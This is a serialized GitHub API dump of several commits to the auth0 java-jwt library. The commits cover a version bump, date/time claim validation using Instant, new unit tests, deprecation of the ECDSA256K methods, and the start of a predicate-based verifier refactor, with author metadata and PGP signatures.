+implementation 'com.auth0:java-jwt:4.2.1'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.2.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.2.0</version>
+    <version>4.2.1</version>
 </dependency>
 ```
 u}(j/  (d6c9b061b1c80fe7c5e5cc7e40aa9f3ed407b249j[0  lib/build.gradlej]0  modifiedjU0  KjV0  Kj_0  Kj`0  bhttps://github.com/auth0/java-jwt/blob/1e38286a52936d7ccdae3f457369389ad7474b7a/lib%2Fbuild.gradlejb0  ahttps://github.com/auth0/java-jwt/raw/1e38286a52936d7ccdae3f457369389ad7474b7a/lib%2Fbuild.gradlejd0  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=1e38286a52936d7ccdae3f457369389ad7474b7ajf0  \@@ -1,5 +1,5 @@
 buildscript {
-    version = "4.2.0"
+    version = "4.2.1"
 }
 
 plugins {ueu(98a6c9643300497d0c18b6392e6ee066de4dcec5}(sha(98a6c9643300497d0c18b6392e6ee066de4dcec5node_idEC_kwDOAQtL0doAKDk4YTZjOTY0MzMwMDQ5N2QwYzE4YjYzOTJlNmVlMDY2ZGU0ZGNlYzUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-16T13:03:28Zu	committer}(j0  GitHubj0  noreply@github.comj0  2022-03-16T13:03:28ZumessageX  [SDK-3186] Support date/time custom claim validation (#538)

* [SDK-3186] Support date/time custom claim validation

* Add tests for Verification default method implementations

* add tests for null expected claim handling

* updated javadoc per code review suggestiontree}(jz0  (453ff748deeae27a71da30433ddacfd52aa4d6f7url^https://api.github.com/repos/auth0/java-jwt/git/trees/453ff748deeae27a71da30433ddacfd52aa4d6f7uj0  `https://api.github.com/repos/auth0/java-jwt/git/commits/98a6c9643300497d0c18b6392e6ee066de4dcec5
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiMeAgCRBK7hj4Ov3rIwAAv60IAAc511MJmNv/M8o2XiCocxEy
Cr74wBTzItatVWzy+7/kK5HDu1TdZQTyzukoBtBblcVCLyodnHGnIERK9JFG18kz
AVZcrfbIyUQBgEx0Tos2WgoLwyS/hqfGFs9+7DIvuz9tVHFejA0x9Tm4BcN0Q6gh
9ufqayRvQ4Ol8Avx7dyQnPo1mQV2IJt7yp9mqEbr3tkoPolRRJfm377sEaimHsIa
S7yhxYU5uunMrufGfIKUYdFrFIXEGedx/aFjMUNwYoC9MJ8rvYTIizkW1tl4xtv0
NTzasDuLR/iDl1E2uIeiTu/QlNEEszazZcScw2q0A5307Da91AUp+qoRoJcPapI=
=fRVF
-----END PGP SIGNATURE-----
payloadX  tree 453ff748deeae27a71da30433ddacfd52aa4d6f7
parent fef3ccf0e03b4557faa110432466c631c0cc3fff
author Jim Anderson <jim.anderson@auth0.com> 1647435808 -0500
committer GitHub <noreply@github.com> 1647435808 -0500

[SDK-3186] Support date/time custom claim validation (#538)

* [SDK-3186] Support date/time custom claim validation

* Add tests for Verification default method implementations

* add tests for null expected claim handling

* updated javadoc per code review suggestionuuj0  \https://api.github.com/repos/auth0/java-jwt/commits/98a6c9643300497d0c18b6392e6ee066de4dcec5html_urlQhttps://github.com/auth0/java-jwt/commit/98a6c9643300497d0c18b6392e6ee066de4dcec5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/98a6c9643300497d0c18b6392e6ee066de4dcec5/commentsj0  }(login
jimmyjamesidJ7 j|0  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j0  'https://api.github.com/users/jimmyjamesj0  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj0  }(j0  web-flowj0  J/j|0  MDQ6VXNlcjE5ODY0NDQ3j0  4https://avatars.githubusercontent.com/u/19864447?v=4j0  h3j0  %https://api.github.com/users/web-flowj0  https://github.com/web-flowj0  /https://api.github.com/users/web-flow/followersj0  <https://api.github.com/users/web-flow/following{/other_user}j0  5https://api.github.com/users/web-flow/gists{/gist_id}j0  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j0  3https://api.github.com/users/web-flow/subscriptionsj0  *https://api.github.com/users/web-flow/orgsj0  +https://api.github.com/users/web-flow/reposj0  6https://api.github.com/users/web-flow/events{/privacy}j0  5https://api.github.com/users/web-flow/received_eventsj0  Userj0  uparents]}(jz0  (fef3ccf0e03b4557faa110432466c631c0cc3fffj0  \https://api.github.com/repos/auth0/java-jwt/commits/fef3ccf0e03b4557faa110432466c631c0cc3fffj0  Qhttps://github.com/auth0/java-jwt/commit/fef3ccf0e03b4557faa110432466c631c0cc3fffuastats}(totalǨ	additionsKǌ	deletionsKufiles](}(jz0  (5bcc7bc76991a29f280afe4e3e79129c3c89c687filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj0  K	j0  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/98a6c9643300497d0c18b6392e6ee066de4dcec5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/98a6c9643300497d0c18b6392e6ee066de4dcec5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=98a6c9643300497d0c18b6392e6ee066de4dcec5patchX\  @@ -174,8 +174,14 @@ public Verification withClaim(String name, String value) throws IllegalArgumentE
 
         @Override
         public Verification withClaim(String name, Date value) throws IllegalArgumentException {
+            return withClaim(name, value != null ? value.toInstant() : null);
+        }
+
+        @Override
+        public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            // Since date-time claims are serialized as epoch seconds, we need to compare them with only seconds-granularity
+            requireClaim(name, value != null ? value.truncatedTo(ChronoUnit.SECONDS) : null);
             return this;
         }
 
@@ -371,8 +377,8 @@ private void assertValidClaim(Claim claim, String claimName, Object value) {
             isValid = value.equals(claim.asBoolean());
         } else if (value instanceof Double) {
             isValid = value.equals(claim.asDouble());
-        } else if (value instanceof Date) {
-            isValid = value.equals(claim.asDate());
+        } else if (value instanceof Instant) {
+            isValid = value.equals(claim.asInstant());
         } else if (value instanceof Object[]) {
             List<Object> claimArr;
             Object[] claimAsObject = claim.as(Object[].class);u}(jz0  (1fb6aece4cce8dc5a09cb03ff5986b5f5140b59fj0  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj0  modifiedj0  Kj0  Kj0  Kj0  https://github.com/auth0/java-jwt/blob/98a6c9643300497d0c18b6392e6ee066de4dcec5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj0  https://github.com/auth0/java-jwt/raw/98a6c9643300497d0c18b6392e6ee066de4dcec5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj0  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=98a6c9643300497d0c18b6392e6ee066de4dcec5j0  X  @@ -2,6 +2,7 @@
 
 import com.auth0.jwt.JWTVerifier;
 
+import java.time.Instant;
 import java.util.Date;
 
 /**
@@ -176,7 +177,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
+     * date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
@@ -185,6 +187,19 @@ default Verification withAnyOfAudience(String... audience) {
      */
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
+    /**
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
+     * a date-time claim value, any time units more granular than seconds will not be considered.
+     *
+     * @param name  the Claim's name.
+     * @param value the Claim's value.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    default Verification withClaim(String name, Instant value) throws IllegalArgumentException {
+        return withClaim(name, value != null ? Date.from(value) : null);
+    }
+
     /**
      * Require a specific Array Claim to contain at least the given items.
      *u}(jz0  (93a7bcd1ae395ea12c3db14ff51f22d9a726c91cj0  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj0  modifiedj0  Kj0  Kj0  K
j0  https://github.com/auth0/java-jwt/blob/98a6c9643300497d0c18b6392e6ee066de4dcec5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj0  https://github.com/auth0/java-jwt/raw/98a6c9643300497d0c18b6392e6ee066de4dcec5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj0  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=98a6c9643300497d0c18b6392e6ee066de4dcec5j0  X  @@ -517,7 +517,7 @@ public void shouldValidateCustomClaimOfTypeBoolean() {
     @Test
     public void shouldValidateCustomClaimOfTypeDate() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
-        Date date = new Date(1478891521000L);
+        Date date = new Date(1478891521123L);
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", date)
                 .build()
@@ -526,6 +526,17 @@ public void shouldValidateCustomClaimOfTypeDate() {
         assertThat(jwt, is(notNullValue()));
     }
 
+    @Test
+    public void shouldRemoveCustomClaimOfTypeDateWhenNull() {
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("name", new Date())
+                .withClaim("name", (Date) null)
+                .build();
+
+        assertThat(verifier.claims, is(notNullValue()));
+        assertThat(verifier.claims, not(hasKey("iss")));
+    }
+
     @Test
     public void shouldValidateCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";u}(jz0  (e9f4f8155d9cec65518da4f796235fe3510cf86cj0  @lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javaj0  addedj0  Kj0  K j0  Kj0  https://github.com/auth0/java-jwt/blob/98a6c9643300497d0c18b6392e6ee066de4dcec5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj0  https://github.com/auth0/java-jwt/raw/98a6c9643300497d0c18b6392e6ee066de4dcec5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj0  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=98a6c9643300497d0c18b6392e6ee066de4dcec5j0  X  @@ -0,0 +1,162 @@
+package com.auth0.jwt.interfaces;
+
+import com.auth0.jwt.JWTVerifier;
+import org.junit.Test;
+
+import java.time.Instant;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.hasEntry;
+import static org.hamcrest.Matchers.instanceOf;
+import static org.junit.Assert.assertThrows;
+
+/**
+ * Tests for any default method implementations in the {@link Verification} interface.
+ */
+public class VerificationTest {
+
+    @Test
+    public void withInstantClaimShouldUseDefaultImpl() {
+        Instant instant = Instant.ofEpochSecond(1478891521);
+        Verification verification = new VerificationImplForTest()
+                .withClaim("name", instant);
+
+        assertThat(verification, instanceOf(VerificationImplForTest.class));
+        assertThat(((VerificationImplForTest)verification).expectedClaims, hasEntry("name", Date.from(instant)));
+    }
+
+    @Test
+    public void withInstantClaimShouldUseDefaultImplAndHandleNull() {
+        Verification verification = new VerificationImplForTest()
+                .withClaim("name", (Instant) null);
+
+        assertThat(verification, instanceOf(VerificationImplForTest.class));
+        assertThat(((VerificationImplForTest)verification).expectedClaims, hasEntry("name", null));
+    }
+
+    @Test
+    public void withAnyOfAudienceDeafultImplShouldThrow() {
+        assertThrows("withAnyOfAudience", UnsupportedOperationException.class, () -> {
+            new VerificationImplForTest().withAnyOfAudience("");
+        });
+    }
+
+    @Test
+    public void withIssuerStringDefaultImplShouldDelegate() {
+        Verification verification = new VerificationImplForTest()
+                .withIssuer("string");
+
+        assertThat(verification, instanceOf(VerificationImplForTest.class));
+        assertThat(((VerificationImplForTest)verification).expectedClaims, hasEntry("iss", new String[]{"string"}));
+    }
+
+    static class VerificationImplForTest implements Verification {
+
+        private final Map<String, Object> expectedClaims = new HashMap<>();
+
+        @Override
+        public Verification withIssuer(String... issuer) {
+            expectedClaims.put("iss", issuer);
+            return this;
+        }
+
+        @Override
+        public Verification withSubject(String subject) {
+            return null;
+        }
+
+        @Override
+        public Verification withAudience(String... audience) {
+            return null;
+        }
+
+        @Override
+        public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withJWTId(String jwtId) {
+            return null;
+        }
+
+        @Override
+        public Verification withClaimPresence(String name) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Integer value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Long value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Double value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, String value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Date value) throws IllegalArgumentException {
+            this.expectedClaims.put(name, value);
+            return this;
+        }
+
+        @Override
+        public Verification withArrayClaim(String name, String... items) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withArrayClaim(String name, Long... items) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification ignoreIssuedAt() {
+            return null;
+        }
+
+        @Override
+        public JWTVerifier build() {
+            return null;
+        }
+    }
+}ueu(62be0c3d3a92d4785e11c946d834ceac5859d56f}(sha(62be0c3d3a92d4785e11c946d834ceac5859d56fnode_idEC_kwDOAQtL0doAKDYyYmUwYzNkM2E5MmQ0Nzg1ZTExYzk0NmQ4MzRjZWFjNTg1OWQ1NmYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-14T14:21:34Zu	committer}(j1  GitHubj1  noreply@github.comj1  2022-03-14T14:21:34Zumessage=Merge branch 'master' into undeprecate-content-signing-methodtree}(j	1  (3d7cb7c12b8387cca469b49561499b038783ceb6url^https://api.github.com/repos/auth0/java-jwt/git/trees/3d7cb7c12b8387cca469b49561499b038783ceb6uj!1  `https://api.github.com/repos/auth0/java-jwt/git/commits/62be0c3d3a92d4785e11c946d834ceac5859d56f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiL09uCRBK7hj4Ov3rIwAATnQIAKzVIWFf5AtMJz1M63EKWw7x
n7r89EJWAel5vGkmoAXBxX1AxmDXFjKjX4f28kHXVbvE9AH9QvmnrmF1ns4yJDWv
qFx8M48W8RKaOwAVHGv4lMio6vVivSSRQX1qigxt92CldX7AeiDQxBeWI7AKxWLD
szk33b3m136VZVpNcXdvhYDETcxICTjjro3F4dR7kQDh5eaALVx9hYgatBjbLNqK
6auKbrE2gIBc1giWpO3730EiEk/xaG7Kg6ZbVnmTe4iBXPrcz/ZenQ7XJsqLRheZ
mEee8GrgNH6SM+ziZwlQT4Tc3Pj+Nl1LRhEAHCujLoHLO0OhYhwvRejz1Iw/ZG4=
=9gMc
-----END PGP SIGNATURE-----
payloadX?  tree 3d7cb7c12b8387cca469b49561499b038783ceb6
parent 1af0b21fade8dfa14efbf2668d0c0dd8077c4ded
parent 212a3cdc3c5a474e88af0dc8445bc78fb0f662a7
author Poovamraj T T <poovamraj@gmail.com> 1647267694 +0530
committer GitHub <noreply@github.com> 1647267694 +0530

Merge branch 'master' into undeprecate-content-signing-methoduuj!1  \https://api.github.com/repos/auth0/java-jwt/commits/62be0c3d3a92d4785e11c946d834ceac5859d56fhtml_urlQhttps://github.com/auth0/java-jwt/commit/62be0c3d3a92d4785e11c946d834ceac5859d56fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/62be0c3d3a92d4785e11c946d834ceac5859d56f/commentsj1  }(login	poovamrajidJ j1  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j!1  &https://api.github.com/users/poovamrajj/1  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj1  }(j41  web-flowj61  J/j1  MDQ6VXNlcjE5ODY0NDQ3j81  4https://avatars.githubusercontent.com/u/19864447?v=4j:1  h3j!1  %https://api.github.com/users/web-flowj/1  https://github.com/web-flowj=1  /https://api.github.com/users/web-flow/followersj?1  <https://api.github.com/users/web-flow/following{/other_user}jA1  5https://api.github.com/users/web-flow/gists{/gist_id}jC1  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jE1  3https://api.github.com/users/web-flow/subscriptionsjG1  *https://api.github.com/users/web-flow/orgsjI1  +https://api.github.com/users/web-flow/reposjK1  6https://api.github.com/users/web-flow/events{/privacy}jM1  5https://api.github.com/users/web-flow/received_eventsjO1  UserjQ1  uparents](}(j	1  (1af0b21fade8dfa14efbf2668d0c0dd8077c4dedj!1  \https://api.github.com/repos/auth0/java-jwt/commits/1af0b21fade8dfa14efbf2668d0c0dd8077c4dedj/1  Qhttps://github.com/auth0/java-jwt/commit/1af0b21fade8dfa14efbf2668d0c0dd8077c4dedu}(j	1  (212a3cdc3c5a474e88af0dc8445bc78fb0f662a7j!1  \https://api.github.com/repos/auth0/java-jwt/commits/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7j/1  Qhttps://github.com/auth0/java-jwt/commit/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7uestats}(totalK	additionsK	deletionsK ufiles]}(j	1  (a90b7a3eea8fb11306f2494bfdd364d65bc76059filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedjo1  Kjp1  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/62be0c3d3a92d4785e11c946d834ceac5859d56f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/62be0c3d3a92d4785e11c946d834ceac5859d56f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=62be0c3d3a92d4785e11c946d834ceac5859d56fpatchX  @@ -183,7 +183,11 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the Key Provider is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
         return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
     }
@@ -195,7 +199,11 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }uau(6794bbc97b5e6e733bba9e227bfe0987db9030fa}(sha(6794bbc97b5e6e733bba9e227bfe0987db9030fanode_idEC_kwDOAQtL0doAKDY3OTRiYmM5N2I1ZTZlNzMzYmJhOWUyMjdiZmUwOTg3ZGI5MDMwZmEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-24T09:26:40Zu	committer}(j1  GitHubj1  noreply@github.comj1  2022-03-24T09:26:40ZumessagedUsing Predicates for Verification (#560)

* Use predicates for verification

* Code review changestree}(j1  (65eb512c6d3472904ea2c7a80e5fd9ec72076fb3url^https://api.github.com/repos/auth0/java-jwt/git/trees/65eb512c6d3472904ea2c7a80e5fd9ec72076fb3uj1  `https://api.github.com/repos/auth0/java-jwt/git/commits/6794bbc97b5e6e733bba9e227bfe0987db9030fa
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiPDlQCRBK7hj4Ov3rIwAA56kIAEbwBHxyoU/uR9Qd00HUVV+c
lRQ510oiBG5mkxJ3yN5l+jebHdFsLQtwaZmlXQRRJV56hwVpTVUCQ9LUF/UHQ9zy
QfjLrHsC2EGhc+WAQYEeoaq+U+bcFHhklf2IQc69DWeclCrMKWj1tBMix7de/S4H
S6h5P2ck5Y3aKvdrXwAmdXFV4VNCDW7/XuOqP2YFm/qGip06B306FJAMATn0iE1c
rv2aVrbOBUstQf2KhKec18AmYbi6dpXnSAgBf+HNy8Svwt5Ce0TbltqM35THRQZP
xXCNUIfZOockQEJaxXrei+KYEeHmqrjGCDT9xia/RJ2C6FVc3Ae39/9/iFk7iz0=
=LAwk
-----END PGP SIGNATURE-----
payloadX6  tree 65eb512c6d3472904ea2c7a80e5fd9ec72076fb3
parent 423a142d09bd837041e7d4aea4a9da60b5d70221
author Poovamraj T T <poovamraj@gmail.com> 1648114000 +0530
committer GitHub <noreply@github.com> 1648114000 +0100

Using Predicates for Verification (#560)

* Use predicates for verification

* Code review changesuuj1  \https://api.github.com/repos/auth0/java-jwt/commits/6794bbc97b5e6e733bba9e227bfe0987db9030fahtml_urlQhttps://github.com/auth0/java-jwt/commit/6794bbc97b5e6e733bba9e227bfe0987db9030facomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6794bbc97b5e6e733bba9e227bfe0987db9030fa/commentsj1  }(login	poovamrajidJ j1  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j1  &https://api.github.com/users/poovamrajj1  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj1  }(j1  web-flowj1  J/j1  MDQ6VXNlcjE5ODY0NDQ3j1  4https://avatars.githubusercontent.com/u/19864447?v=4j1  h3j1  %https://api.github.com/users/web-flowj1  https://github.com/web-flowj1  /https://api.github.com/users/web-flow/followersj1  <https://api.github.com/users/web-flow/following{/other_user}j1  5https://api.github.com/users/web-flow/gists{/gist_id}j1  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j1  3https://api.github.com/users/web-flow/subscriptionsj1  *https://api.github.com/users/web-flow/orgsj1  +https://api.github.com/users/web-flow/reposj1  6https://api.github.com/users/web-flow/events{/privacy}j1  5https://api.github.com/users/web-flow/received_eventsj1  Userj1  uparents]}(j1  (423a142d09bd837041e7d4aea4a9da60b5d70221j1  \https://api.github.com/repos/auth0/java-jwt/commits/423a142d09bd837041e7d4aea4a9da60b5d70221j1  Qhttps://github.com/auth0/java-jwt/commit/423a142d09bd837041e7d4aea4a9da60b5d70221uastats}(totalM		additionsKӌ	deletionsM6ufiles](}(j1  (e045a7dc03d1271e5f886b29187fce5affabb10dfilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj1  Kj1  KӌchangesMgblob_urlhttps://github.com/auth0/java-jwt/blob/6794bbc97b5e6e733bba9e227bfe0987db9030fa/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/6794bbc97b5e6e733bba9e227bfe0987db9030fa/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=6794bbc97b5e6e733bba9e227bfe0987db9030fapatchXJb  @@ -24,17 +24,12 @@
 @SuppressWarnings("WeakerAccess")
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
-    final Map<String, Object> expectedClaims;
-    private final Clock clock;
+    final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
     private final JWTParser parser;
 
-    static final String AUDIENCE_EXACT = "AUDIENCE_EXACT";
-    static final String AUDIENCE_CONTAINS = "AUDIENCE_CONTAINS";
-
-    JWTVerifier(Algorithm algorithm, Map<String, Object> expectedClaims, Clock clock) {
+    JWTVerifier(Algorithm algorithm, Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks) {
         this.algorithm = algorithm;
-        this.expectedClaims = Collections.unmodifiableMap(expectedClaims);
-        this.clock = clock;
+        this.expectedChecks = Collections.unmodifiableMap(expectedChecks);
         this.parser = new JWTParser();
     }
 
@@ -51,43 +46,54 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
 
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
-        private final Map<String, Object> expectedClaims;
+        private final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
         private long defaultLeeway;
+        private final Map<String, Long> customLeeways;
         private boolean ignoreIssuedAt;
+        private Clock clock;
 
         BaseVerification(Algorithm algorithm) throws IllegalArgumentException {
             if (algorithm == null) {
                 throw new IllegalArgumentException("The Algorithm cannot be null.");
             }
 
             this.algorithm = algorithm;
-            this.expectedClaims = new HashMap<>();
+            this.expectedChecks = new LinkedHashMap<>();
+            this.customLeeways = new HashMap<>();
             this.defaultLeeway = 0;
         }
 
         @Override
         public Verification withIssuer(String... issuer) {
-            requireClaim(PublicClaims.ISSUER, isNullOrEmpty(issuer) ? null : Arrays.asList(issuer));
+            List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
+            checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
+                if (value == null || !value.contains(claim.asString())) {
+                    throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withSubject(String subject) {
-            requireClaim(PublicClaims.SUBJECT, subject);
+            checkIfNeedToRemove(PublicClaims.SUBJECT, subject, (claim, decodedJWT) -> subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
-            expectedClaims.remove(AUDIENCE_CONTAINS);
